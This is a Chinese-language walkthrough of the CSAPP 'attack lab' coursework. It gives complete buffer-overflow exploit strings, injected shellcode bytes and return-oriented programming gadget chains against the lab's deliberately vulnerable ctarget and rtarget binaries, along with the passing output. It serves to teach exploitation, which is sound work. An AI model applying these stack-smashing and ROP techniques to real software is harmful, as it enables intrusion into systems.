### **CSAPP实验之attack lab**

### **实验环境**

Ubuntu 18.04 LTS实体机

### **预备内容**

gdb调试

**实验说明**

整个lab分为5个level，前3个是代码注入，后2个是回归导向编程ROP攻击

## **Part I ：Code Injection Attacks**

函数Test（）的代码

1 void test()

2 {

3 int val;

4 val = getbuf();

5 printf("No exploit. Getbuf returned 0x%x\n", val);

6 }

函数grtbuf（）的代码

1 unsigned getbuf()

2 {

3 char buf[BUFFER\_SIZE];

4 Gets(buf);

5

return 1;

6 }

objdump -d ctarget > ctarget.txt

将ctarget代码反汇编，输出到ctarget文本文件中，方便看。

0000000000001f5d <test>:

1f5d: f3 0f 1e fa endbr64

1f61: 48 83 ec 08 sub $0x8,%rsp

1f65: b8 00 00 00 00 mov $0x0,%eax

1f6a: e8 05 fe ff ff call 1d74 <getbuf>

1f6f: 89 c2 mov %eax,%edx

1f71: 48 8d 35 e0 23 00 00 lea 0x23e0(%rip),%rsi # 4358 <\_IO\_stdin\_used+0x358>

1f78: bf 01 00 00 00 mov $0x1,%edi

1f7d: b8 00 00 00 00 mov $0x0,%eax

1f82: e8 f9 f3 ff ff call 1380 <\_\_printf\_chk@plt>

1f87: 48 83 c4 08 add $0x8,%rsp

1f8b: c3 ret

0000000000001d74 <getbuf>:

1d74: f3 0f 1e fa endbr64

1d78: 48 83 ec 38 sub $0x38,%rsp

1d7c: 48 89 e7 mov %rsp,%rdi

1d7f: e8 b5 02 00 00 call 2039 <Gets>

1d84: b8 01 00 00 00 mov $0x1,%eax

1d89: 48 83 c4 38 add $0x38,%rsp

1d8d: c3 ret

首先，在 1d78 行，为 getbuf 分配了 0x38 ,即 56 位的空间。

### **level 1**

函数touch1（）的代码

1 void touch1()

2 {

3 vlevel = 1; /\* Part of validation protocol \*/

4 printf("Touch1!: You called touch1()\n");

5 validate(1);

6 exit(0);

7 }

Touch1的反汇编代码

0000000000001d8e <touch1>:

1d8e: f3 0f 1e fa endbr64

1d92: 50 push %rax

1d93: 58 pop %rax

1d94: 48 83 ec 08 sub $0x8,%rsp

1d98: c7 05 3a 56 00 00 01 movl $0x1,0x563a(%rip) # 73dc <vlevel>

1d9f: 00 00 00

1da2: 48 8d 3d e7 24 00 00 lea 0x24e7(%rip),%rdi # 4290 <\_IO\_stdin\_used+0x290>

1da9: e8 c2 f4 ff ff call 1270 <puts@plt>

1dae: bf 01 00 00 00 mov $0x1,%edi

1db3: e8 f4 04 00 00 call 22ac <validate>

1db8: bf 00 00 00 00 mov $0x0,%edi

1dbd: e8 fe f5 ff ff call 13c0 <exit@plt>

通过 GDB 调试，发现地址的偏移量是 0x555555554000 ,所以 touch1 的地址是 0x555555555d8e 。为了跳转到touch1 ,首先需要填满 getbuf ，我默认用 00 来填充。然后用小段法输入 touch1 的地址来覆盖调用者的返回地址，即 8e 5d 55 55 55 55 00 00。所以最后的输入是：

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

8e 5d 55 55 55 55 00 00

利用 cat re.txt | ./hex2raw | ./ctarget 运行一下

Cookie: 0x747c9c5e

Type string:Touch1!: You called touch1()

Valid solution for level 1 with target ctarget

PASS: Sent exploit string to server to be validated.

NICE JOB!

### **level 2**

touch2的代码

1 void touch2(unsigned val)

2 {

3 vlevel = 2; /\* Part of validation protocol \*/

4 if (val == cookie) {

5 printf("Touch2!: You called touch2(0x%.8x)\n", val);

6 validate(2);

7 } else {

8 printf("Misfire: You called touch2(0x%.8x)\n", val);

9 fail(2);

10 }

11 exit(0);

12 }

touch2的反汇编代码

0000000000001dc2 <touch2>:

1dc2: f3 0f 1e fa endbr64

1dc6: 50 push %rax

1dc7: 58 pop %rax

1dc8: 48 83 ec 08 sub $0x8,%rsp

1dcc: 89 fa mov %edi,%edx

1dce: c7 05 04 56 00 00 02 movl $0x2,0x5604(%rip) # 73dc <vlevel>

1dd5: 00 00 00

1dd8: 39 3d 06 56 00 00 cmp %edi,0x5606(%rip) # 73e4 <cookie>

1dde: 74 2a je 1e0a <touch2+0x48>

1de0: 48 8d 35 f9 24 00 00 lea 0x24f9(%rip),%rsi # 42e0 <\_IO\_stdin\_used+0x2e0>

1de7: bf 01 00 00 00 mov $0x1,%edi

1dec: b8 00 00 00 00 mov $0x0,%eax

1df1: e8 8a f5 ff ff call 1380 <\_\_printf\_chk@plt>

1df6: bf 02 00 00 00 mov $0x2,%edi

1dfb: e8 80 05 00 00 call 2380 <fail>

1e00: bf 00 00 00 00 mov $0x0,%edi

1e05: e8 b6 f5 ff ff call 13c0 <exit@plt>

1e0a: 48 8d 35 a7 24 00 00 lea 0x24a7(%rip),%rsi # 42b8 <\_IO\_stdin\_used+0x2b8>

1e11: bf 01 00 00 00 mov $0x1,%edi

1e16: b8 00 00 00 00 mov $0x0,%eax

1e1b: e8 60 f5 ff ff call 1380 <\_\_printf\_chk@plt>

1e20: bf 02 00 00 00 mov $0x2,%edi

1e25: e8 82 04 00 00 call 22ac <validate>

1e2a: eb d4 jmp 1e00 <touch2+0x3e>

touch2的地址是 0x555555555dc2 。我需要跳转到 touch2 ,并且让传进来的参数 val 与 cookie 相等，即需要将cookie的值 0x747c9c5e 赋给 val 。所以将 cookie 的值存放在寄存器 %rdi 里，为了返回到 touch2 中，且不使用 call 和 jmp ，就用 ret 。要把 touch2 的地址压栈，用栈顶地址来覆盖调用者的返回地址。写成汇编代码就是

movq $0x747c9c5e,%rdi

movq $0x555555555dc2,%rdx

pushq %rdx

retq

用 GDB 调试 ctarget ，在 getbuf 处加断点，运行到 getbuf 开辟栈空间， 用 i r rsp 查看栈顶地址是 0x556796f8 。利用 echo "……" > inject.s 指令，将汇编代码写到 inject.s文件里。再编译 gcc -c inject.s,查看反汇编代码 objdump -d inject.o 。

inject.o： 文件格式 elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:

0: 48 c7 c7 5e 9c 7c 74 mov $0x747c9c5e,%rdi

7: 48 ba c2 5d 55 55 55 movabs $0x555555555dc2,%rdx

e: 55 00 00

11: 52 push %rdx

12: c3 ret

获得反汇编代码 48 c7 c7 5e 9c 7c 74 48 ba c2 5d 55 55 55 55 00 00 52 c3 。先填充 注入代码地址，再用 0 填满 bufsize ，最后是返回栈顶地址。所以最后的输入是：

48 c7 c7 5e 9c 7c 74 48

ba c2 5d 55 55 55 55 00

00 52 c3 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

f8 96 67 55 00 00 00 00

利用 cat re.txt | ./hex2raw | ./ctarget 运行一下

Cookie: 0x747c9c5e

Type string:Touch2!: You called touch2(0x747c9c5e)

Valid solution for level 2 with target ctarget

PASS: Sent exploit string to server to be validated.

NICE JOB!

### **level 3**

函数hexmatch（）和touch3（）

1 /\* Compare string to hex represention of unsigned value \*/

2 int hexmatch(unsigned val, char \*sval)

3 {

4 char cbuf[110];

5 /\* Make position of check string unpredictable \*/

6 char \*s = cbuf + random() % 100;

7 sprintf(s, "%.8x", val);

8 return strncmp(sval, s, 9) == 0;

9 }

10

11 void touch3(char \*sval)

12 {

13 vlevel = 3; /\* Part of validation protocol \*/

14 if (hexmatch(cookie, sval)) {

15 printf("Touch3!: You called touch3(\"%s\")\n", sval);

16 validate(3);

17 } else {

18 printf("Misfire: You called touch3(\"%s\")\n", sval);

19 fail(3);

20 }

21 exit(0);

22 }

touch3的反汇编代码

0000000000001ee7 <touch3>:

1ee7: f3 0f 1e fa endbr64

1eeb: 53 push %rbx

1eec: 48 89 fb mov %rdi,%rbx

1eef: c7 05 e3 54 00 00 03 movl $0x3,0x54e3(%rip) # 73dc <vlevel>

1ef6: 00 00 00

1ef9: 48 89 fe mov %rdi,%rsi

1efc: 8b 3d e2 54 00 00 mov 0x54e2(%rip),%edi # 73e4 <cookie>

1f02: e8 25 ff ff ff call 1e2c <hexmatch>

1f07: 85 c0 test %eax,%eax

1f09: 74 2d je 1f38 <touch3+0x51>

1f0b: 48 89 da mov %rbx,%rdx

1f0e: 48 8d 35 f3 23 00 00 lea 0x23f3(%rip),%rsi # 4308 <\_IO\_stdin\_used+0x308>

1f15: bf 01 00 00 00 mov $0x1,%edi

1f1a: b8 00 00 00 00 mov $0x0,%eax

1f1f: e8 5c f4 ff ff call 1380 <\_\_printf\_chk@plt>

1f24: bf 03 00 00 00 mov $0x3,%edi

1f29: e8 7e 03 00 00 call 22ac <validate>

1f2e: bf 00 00 00 00 mov $0x0,%edi

1f33: e8 88 f4 ff ff call 13c0 <exit@plt>

1f38: 48 89 da mov %rbx,%rdx

1f3b: 48 8d 35 ee 23 00 00 lea 0x23ee(%rip),%rsi # 4330 <\_IO\_stdin\_used+0x330>

1f42: bf 01 00 00 00 mov $0x1,%edi

1f47: b8 00 00 00 00 mov $0x0,%eax

1f4c: e8 2f f4 ff ff call 1380 <\_\_printf\_chk@plt>

1f51: bf 03 00 00 00 mov $0x3,%edi

1f56: e8 25 04 00 00 call 2380 <fail>

1f5b: eb d1 jmp 1f2e <touch3+0x47>

touch3 的地址是 0x555555555ee7 。touch3里还调用了 hexmatch 。

Hexmatch的反汇编代码

0000000000001e2c <hexmatch>:

1e2c: f3 0f 1e fa endbr64

1e30: 41 55 push %r13

1e32: 41 54 push %r12

1e34: 55 push %rbp

1e35: 53 push %rbx

1e36: 48 81 ec 88 00 00 00 sub $0x88,%rsp

1e3d: 89 fd mov %edi,%ebp

1e3f: 48 89 f3 mov %rsi,%rbx

1e42: 41 bc 28 00 00 00 mov $0x28,%r12d

1e48: 64 49 8b 04 24 mov %fs:(%r12),%rax

1e4d: 48 89 44 24 78 mov %rax,0x78(%rsp)

1e52: 31 c0 xor %eax,%eax

1e54: e8 f7 f4 ff ff call 1350 <random@plt>

1e59: 48 89 c1 mov %rax,%rcx

1e5c: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx

1e63: 0a d7 a3

1e66: 48 f7 ea imul %rdx

1e69: 48 01 ca add %rcx,%rdx

1e6c: 48 c1 fa 06 sar $0x6,%rdx

1e70: 48 89 c8 mov %rcx,%rax

1e73: 48 c1 f8 3f sar $0x3f,%rax

1e77: 48 29 c2 sub %rax,%rdx

1e7a: 48 8d 04 92 lea (%rdx,%rdx,4),%rax

1e7e: 48 8d 04 80 lea (%rax,%rax,4),%rax

1e82: 48 c1 e0 02 shl $0x2,%rax

1e86: 48 29 c1 sub %rax,%rcx

1e89: 4c 8d 2c 0c lea (%rsp,%rcx,1),%r13

1e8d: 41 89 e8 mov %ebp,%r8d

1e90: 48 8d 0d 16 24 00 00 lea 0x2416(%rip),%rcx # 42ad <\_IO\_stdin\_used+0x2ad>

1e97: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx

1e9e: be 01 00 00 00 mov $0x1,%esi

1ea3: 4c 89 ef mov %r13,%rdi

1ea6: b8 00 00 00 00 mov $0x0,%eax

1eab: e8 50 f5 ff ff call 1400 <\_\_sprintf\_chk@plt>

1eb0: ba 09 00 00 00 mov $0x9,%edx

1eb5: 4c 89 ee mov %r13,%rsi

1eb8: 48 89 df mov %rbx,%rdi

1ebb: e8 90 f3 ff ff call 1250 <strncmp@plt>

1ec0: 85 c0 test %eax,%eax

1ec2: 0f 94 c0 sete %al

1ec5: 48 8b 5c 24 78 mov 0x78(%rsp),%rbx

1eca: 64 49 33 1c 24 xor %fs:(%r12),%rbx

1ecf: 75 11 jne 1ee2 <hexmatch+0xb6>

1ed1: 0f b6 c0 movzbl %al,%eax

1ed4: 48 81 c4 88 00 00 00 add $0x88,%rsp

1edb: 5b pop %rbx

1edc: 5d pop %rbp

1edd: 41 5c pop %r12

1edf: 41 5d pop %r13

1ee1: c3 ret

1ee2: e8 a9 f3 ff ff call 1290 <\_\_stack\_chk\_fail@plt>

hexmatch 还调用了 strncmp 。这两个函数都会将数据进栈，如果我把数据放到 getbuf 的栈空间，有可能会被覆盖掉，所以我把数据放到 test 的栈空间里。先 GDB 查看一下 test 的栈顶地址，是 0x55679738 。使用 man ascii 命令，查看 cookie 的十六进制表示，37 34 37 63 39 63 35 65 ，因为字符串结尾要有字符串结束符，所以要在最后加 00 。将 test 的栈顶地址存到寄存器 %rdi 中，再将 touch3 的地址压栈。写成汇编代码就是 movq $0x55679738,%rdi

movq $0x555555555ee7,%rdx

pushq %rdx

ret

编译查看反汇编代码。

in.o： 文件格式 elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:

0: 48 c7 c7 38 97 67 55 mov $0x55679738,%rdi

7: 48 ba e7 5e 55 55 55 movabs $0x555555555ee7,%rdx

* e: 55 00 00

11: 52 push %rdx

12: c3 ret

* 得到反汇编代码 48 c7 c7 38 97 67 55 48 ba e7 5e 55 55 55 55 00 00 52 c3 。先填充 注入代码地址，再用 0 填满 bufsize ，最后是返回栈顶地址和 cookie 的十六进制字符串。

所以最后的输入是：

48 c7 c7 38 97 67 55 48

ba e7 5e 55 55 55 55 00

00 52 c3 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

f8 96 67 55 00 00 00 00

37 34 37 63 39 63 35 65

* 00

利用 cat re.txt | ./hex2raw | ./ctarget 运行一下

Cookie: 0x747c9c5e

Type string:Touch3!: You called touch3("747c9c5e")

Valid solution for level 3 with target ctarget

PASS: Sent exploit string to server to be validated.

NICE JOB!

## **Part II：Return-Oriented Programming**

### 1667144004841

反汇编 rtarget ，ogjdump -d rtarget > rtarget.txt

Farm的反汇编代码

0000000000001f8c <start\_farm>:

1f8c: f3 0f 1e fa endbr64

1f90: b8 01 00 00 00 mov $0x1,%eax

1f95: c3 ret

0000000000001f96 <addval\_314>:

1f96: f3 0f 1e fa endbr64

1f9a: 8d 87 51 36 58 c3 lea -0x3ca7c9af(%rdi),%eax

1fa0: c3 ret

0000000000001fa1 <setval\_245>:

1fa1: f3 0f 1e fa endbr64

1fa5: c7 07 58 c1 cc 82 movl $0x82ccc158,(%rdi)

1fab: c3 ret

0000000000001fac <addval\_246>:

1fac: f3 0f 1e fa endbr64

1fb0: 8d 87 48 89 c7 94 lea -0x6b3876b8(%rdi),%eax

1fb6: c3 ret

0000000000001fb7 <addval\_110>:

1fb7: f3 0f 1e fa endbr64

1fbb: 8d 87 58 90 c3 42 lea 0x42c39058(%rdi),%eax

1fc1: c3 ret

0000000000001fc2 <setval\_181>:

1fc2: f3 0f 1e fa endbr64

1fc6: c7 07 48 89 c7 94 movl $0x94c78948,(%rdi)

1fcc: c3 ret

0000000000001fcd <getval\_451>:

1fcd: f3 0f 1e fa endbr64

1fd1: b8 50 90 90 90 mov $0x90909050,%eax

1fd6: c3 ret

0000000000001fd7 <getval\_412>:

1fd7: f3 0f 1e fa endbr64

1fdb: b8 48 89 c7 c3 mov $0xc3c78948,%eax

1fe0: c3 ret

0000000000001fe1 <getval\_487>:

1fe1: f3 0f 1e fa endbr64

1fe5: b8 8f 48 89 c7 mov $0xc789488f,%eax

1fea: c3 ret

0000000000001feb <mid\_farm>:

1feb: f3 0f 1e fa endbr64

1fef: b8 01 00 00 00 mov $0x1,%eax

1ff4: c3 ret

0000000000001ff5 <add\_xy>:

1ff5: f3 0f 1e fa endbr64

1ff9: 48 8d 04 37 lea (%rdi,%rsi,1),%rax

1ffd: c3 ret

0000000000001ffe <getval\_491>:

1ffe: f3 0f 1e fa endbr64

2002: b8 81 ce 38 d2 mov $0xd238ce81,%eax

2007: c3 ret

0000000000002008 <addval\_238>:

2008: f3 0f 1e fa endbr64

200c: 8d 87 89 ce 92 90 lea -0x6f6d3177(%rdi),%eax

2012: c3 ret

0000000000002013 <setval\_182>:

2013: f3 0f 1e fa endbr64

2017: c7 07 89 c2 30 c0 movl $0xc030c289,(%rdi)

201d: c3 ret

000000000000201e <setval\_391>:

201e: f3 0f 1e fa endbr64

2022: c7 07 89 d1 38 db movl $0xdb38d189,(%rdi)

2028: c3 ret

0000000000002029 <setval\_398>:

2029: f3 0f 1e fa endbr64

202d: c7 07 a9 c2 38 d2 movl $0xd238c2a9,(%rdi)

2033: c3 ret

0000000000002034 <getval\_498>:

2034: f3 0f 1e fa endbr64

2038: b8 48 89 e0 91 mov $0x91e08948,%eax

203d: c3 ret

000000000000203e <addval\_118>:

203e: f3 0f 1e fa endbr64

2042: 8d 87 c9 c2 c3 25 lea 0x25c3c2c9(%rdi),%eax

2048: c3 ret

0000000000002049 <getval\_228>:

2049: f3 0f 1e fa endbr64

204d: b8 89 ce 38 c9 mov $0xc938ce89,%eax

2052: c3 ret

0000000000002053 <getval\_476>:

2053: f3 0f 1e fa endbr64

2057: b8 89 d1 c7 cb mov $0xcbc7d189,%eax

205c: c3 ret

000000000000205d <setval\_474>:

205d: f3 0f 1e fa endbr64

2061: c7 07 a9 c2 20 db movl $0xdb20c2a9,(%rdi)

2067: c3 ret

0000000000002068 <setval\_187>:

2068: f3 0f 1e fa endbr64

206c: c7 07 48 89 e0 c3 movl $0xc3e08948,(%rdi)

2072: c3 ret

0000000000002073 <addval\_446>:

2073: f3 0f 1e fa endbr64

2077: 8d 87 48 8d e0 c3 lea -0x3c1f72b8(%rdi),%eax

207d: c3 ret

000000000000207e <getval\_490>:

207e: f3 0f 1e fa endbr64

2082: b8 09 ce 84 d2 mov $0xd284ce09,%eax

2087: c3 ret

0000000000002088 <setval\_423>:

2088: f3 0f 1e fa endbr64

208c: c7 07 89 c2 38 c0 movl $0xc038c289,(%rdi)

2092: c3 ret

0000000000002093 <getval\_172>:

2093: f3 0f 1e fa endbr64

2097: b8 48 09 e0 90 mov $0x90e00948,%eax

209c: c3 ret

000000000000209d <getval\_189>:

209d: f3 0f 1e fa endbr64

20a1: b8 55 09 d1 90 mov $0x90d10955,%eax

20a6: c3 ret

00000000000020a7 <setval\_144>:

20a7: f3 0f 1e fa endbr64

20ab: c7 07 81 ce 08 db movl $0xdb08ce81,(%rdi)

20b1: c3 ret

00000000000020b2 <getval\_404>:

20b2: f3 0f 1e fa endbr64

20b6: b8 89 ce 94 d2 mov $0xd294ce89,%eax

20bb: c3 ret

00000000000020bc <addval\_184>:

20bc: f3 0f 1e fa endbr64

20c0: 8d 87 48 89 e0 c1 lea -0x3e1f76b8(%rdi),%eax

20c6: c3 ret

00000000000020c7 <getval\_388>:

20c7: f3 0f 1e fa endbr64

20cb: b8 a9 d1 90 90 mov $0x9090d1a9,%eax

20d0: c3 ret

00000000000020d1 <getval\_151>:

20d1: f3 0f 1e fa endbr64

20d5: b8 89 d1 18 c9 mov $0xc918d189,%eax

20da: c3 ret

00000000000020db <addval\_370>:

20db: f3 0f 1e fa endbr64

20df: 8d 87 81 d1 20 c9 lea -0x36df2e7f(%rdi),%eax

20e5: c3 ret

00000000000020e6 <setval\_207>:

20e6: f3 0f 1e fa endbr64

20ea: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi)

20f0: c3 ret

00000000000020f1 <getval\_226>:

20f1: f3 0f 1e fa endbr64

20f5: b8 89 ce 78 d2 mov $0xd278ce89,%eax

20fa: c3 ret

00000000000020fb <setval\_477>:

20fb: f3 0f 1e fa endbr64

20ff: c7 07 89 ce 20 c0 movl $0xc020ce89,(%rdi)

2105: c3 ret

0000000000002106 <addval\_316>:

2106: f3 0f 1e fa endbr64

210a: 8d 87 89 c2 30 c0 lea -0x3fcf3d77(%rdi),%eax

2110: c3 ret

0000000000002111 <getval\_307>:

2111: f3 0f 1e fa endbr64

2115: b8 89 d1 48 d2 mov $0xd248d189,%eax

211a: c3 ret

000000000000211b <getval\_171>:

211b: f3 0f 1e fa endbr64

211f: b8 89 d1 38 c0 mov $0xc038d189,%eax

2124: c3 ret

0000000000002125 <getval\_216>:

2125: f3 0f 1e fa endbr64

2129: b8 96 09 c2 c3 mov $0xc3c20996,%eax

212e: c3 ret

000000000000212f <setval\_244>:

212f: f3 0f 1e fa endbr64

2133: c7 07 48 89 e0 c3 movl $0xc3e08948,(%rdi)

2139: c3 ret

000000000000213a <addval\_284>:

213a: f3 0f 1e fa endbr64

213e: 8d 87 1e ba 89 c2 lea -0x3d7645e2(%rdi),%eax

2144: c3 ret

0000000000002145 <getval\_223>:

2145: f3 0f 1e fa endbr64

2149: b8 e5 08 89 e0 mov $0xe08908e5,%eax

214e: c3 ret

000000000000214f <end\_farm>:

214f: f3 0f 1e fa endbr64

2153: b8 01 00 00 00 mov $0x1,%eax

2158: c3 ret

### **level 2**

同 touch2 ，我们需要将 cookie 存到寄存器中，并把 touch2 的地址进栈。在 farm 中找不到 pop %rdi,所以等效地找了一个 popq 和 movq 指令，我找到符合要求的是：58 popq %rax 和 48 89 c7 movq %rax %rdi

0000000000001f96 <addval\_314>:

1f96: f3 0f 1e fa endbr64

1f9a: 8d 87 51 36 58 c3 lea -0x3ca7c9af(%rdi),%eax

1fa0: c3 ret

0000000000001fe1 <getval\_487>:

1fe1: f3 0f 1e fa endbr64

1fe5: b8 8f 48 89 c7 mov $0xc789488f,%eax

1fea: c3 ret

其地址分别为 0x55 55 55 55 5f 9e 和 0x55 55 55 55 5f e7 所以输入数据为，填满 getbuf 的 56 个 00 ，加上 popq %rax 的反汇编代码，然后是 cookie 的值，接着是 movq %rax %rdi ,最后是 touch2 的地址。

所以最后的输入是：

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

9e 5f 55 55 55 55 00 00

5e 9c 7c 74 00 00 00 00

e7 5f 55 55 55 55 00 00

c2 5d 55 55 55 55 00 00

利用 cat re.txt | ./hex2raw | ./rtarget 运行一下

Cookie: 0x747c9c5e

Type string:Touch2!: You called touch2(0x747c9c5e)

Valid solution for level 2 with target rtarget

PASS: Sent exploit string to server to be validated.

NICE JOB!

### **level 3**

同touch3，，我们需要将 cookie 存到寄存器中，并把 touch3 的地址进栈。因为开启了栈随机化，所以不能直接把代码插入到绝对地址，必须找一个基准，我们就只能找%rsp。因为touch3会开辟一个很大的buffsize，若把数据插到touch3下面的栈空间，有关内存之后基本就会被重写，所以要存在touch3的更高地址处。所以要在%rsp上加一个bias才可以，即字符串地址是%rsp + bias。

没有直接的加法指令，找两个寄存器互相加。即，把%rsp里的栈指针地址放到%rdi，拿到bias的值放到%rsi，利用add xy，把栈指针地址和bias加起来放到%rax，再传到%rdi。

我找到符合要求的是：48 89 e0 movq %rsp,%rax 、 48 89 c7 movq %rax %rdi 、58 popq %rax 和 89 c2 movl %eax,%edx 、 89 d1 movl %edx,%ecx 、 89 ce movl %ecx,%esi 、<add xy> lea (%rdi,%rsi,1),%rax 、 48 89 c7 movq %rax,%rdi 。

movq %rsp,%rax

movq %rax %rdi //取栈顶地址

popq %rax

0x48 //取偏移量

movl %eax,%edx

movl %edx,%ecx

movl %ecx,%esi //准备

lea (%rdi,%rsi,1),%rax //计算cookie地址

movq %rax,%rdi //传入cookie地址

Touch3

Cookie

要注意，getbuf执行ret后相当于进行了一次pop操作，test的栈顶指针%rsp=%rsp+0x8，所以cookie相对于此时栈顶指针的偏移量是0x48而不是0x50 。

0000000000002068 <setval\_187>:

2068: f3 0f 1e fa endbr64

206c: c7 07 48 89 e0 c3 movl $0xc3e08948,(%rdi)

2072: c3 ret

000000000000213a <addval\_284>:

213a: f3 0f 1e fa endbr64

213e: 8d 87 1e ba 89 c2 lea -0x3d7645e2(%rdi),%eax

2144: c3 ret

000000000000201e <setval\_391>:

201e: f3 0f 1e fa endbr64

2022: c7 07 89 d1 38 db movl $0xdb38d189,(%rdi)

2028: c3 ret

0000000000002049 <getval\_228>:

2049: f3 0f 1e fa endbr64

204d: b8 89 ce 38 c9 mov $0xc938ce89,%eax

2052: c3 ret

0000000000001ff5 <add\_xy>:

1ff5: f3 0f 1e fa endbr64

1ff9: 48 8d 04 37 lea (%rdi,%rsi,1),%rax

1ffd: c3 ret

0000000000001fe1 <getval\_487>:

1fe1: f3 0f 1e fa endbr64

1fe5: b8 8f 48 89 c7 mov $0xc789488f,%eax

1fea: c3 ret

其地址分别为 0x55 55 55 55 60 6e 、0x55 55 55 55 5f e7 、 0x55 55 55 55 5f 9e 和 0x55 55 55 55 61 42、0x55 55 55 55 60 24 、0x55 55 55 55 60 4e 、 0x55 55 55 55 5f f9 、0x55 55 55 55 5f e7

所以输入数据为，填满 getbuf 的 56 个 00 ，加上 movq %rsp %rax movq %rax %rdi popq %rax 的反汇编代码，然后是偏移量 0x48 ，接着是 movl %eax,%adx movl %edx,%ecx movl %ecx,%esi lea (%rdi,%rsi,1),%rax movq %rax,%rdi 的反汇编代码,最后是 touch3 的地址和 cookie 的十六进制值的字符串。

所以最后的输入是：

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

6e 60 55 55 55 55 00 00

e7 5f 55 55 55 55 00 00

9e 5f 55 55 55 55 00 00

48 00 00 00 00 00 00 00

42 61 55 55 55 55 00 00

24 60 55 55 55 55 00 00

4e 60 55 55 55 55 00 00

f9 5f 55 55 55 55 00 00

e7 5f 55 55 55 55 00 00

e7 5e 55 55 55 55 00 00

37 34 37 63 39 63 35 65

00

利用 cat re.txt | ./hex2raw | ./rtarget 运行一下

Cookie: 0x747c9c5e

Type string:Touch3!: You called touch3("747c9c5e")

Valid solution for level 3 with target rtarget

PASS: Sent exploit string to server to be validated.

NICE JOB!